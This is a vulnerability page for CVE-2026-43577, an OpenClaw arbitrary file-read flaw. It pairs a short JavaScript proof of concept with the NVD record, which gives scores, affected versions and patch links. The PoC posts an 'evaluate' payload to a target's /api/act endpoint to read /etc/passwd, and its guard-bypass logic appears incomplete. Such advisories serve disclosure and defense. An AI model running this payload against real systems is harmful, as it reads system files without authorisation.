CVE-2026-43577

// PoC for CVE-2026-43577: OpenClaw Arbitrary File Read // This script demonstrates bypassing navigation guards via browser interaction. async function triggerVulnerability(targetUrl) { try { // Step 1: Initiate interaction to bypass navigation guard // Using the vulnerable 'act/evaluate' route const payload = { action: 'evaluate', code: ` // Malicious code execution context // Pivot to local CDP origin const cdpOrigin = window.location.origin; // Attempt to read local file via file:// protocol fetch('file:///etc/passwd') .then(response => response.text()) .then(data => console.log('[+] Leak:', data)) .catch(err => console.error('[-] Error:', err)); ` }; // Send the malicious request to the target OpenClaw instance const response = await fetch(targetUrl + '/api/act', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); console.log('[*] Payload sent, check console for file content.'); } catch (error) { console.error('Exploit failed:', error); } } // Usage: triggerVulnerability('http://target-openclaw-instance');

{"cve": {"id": "CVE-2026-43577", "sourceIdentifier": "[email protected]", "published": "2026-05-06T20:16:33.377", "lastModified": "2026-05-07T17:04:12.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.9 contains a file read vulnerability allowing attackers to bypass navigation guards through browser act/evaluate interactions. Attackers can pivot into the local CDP origin and create or read disallowed file:// pages despite direct navigation policy restrictions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.9", "matchCriteriaId": "67C5DFA2-62B7-4F84-AE66-5F39B39D3D41"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/5f5b3d733bdd791cb457f838514179e1288b10b3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qmwg-qprg-3j38", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-arbitrary-file-read-via-browser-interaction-routes", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}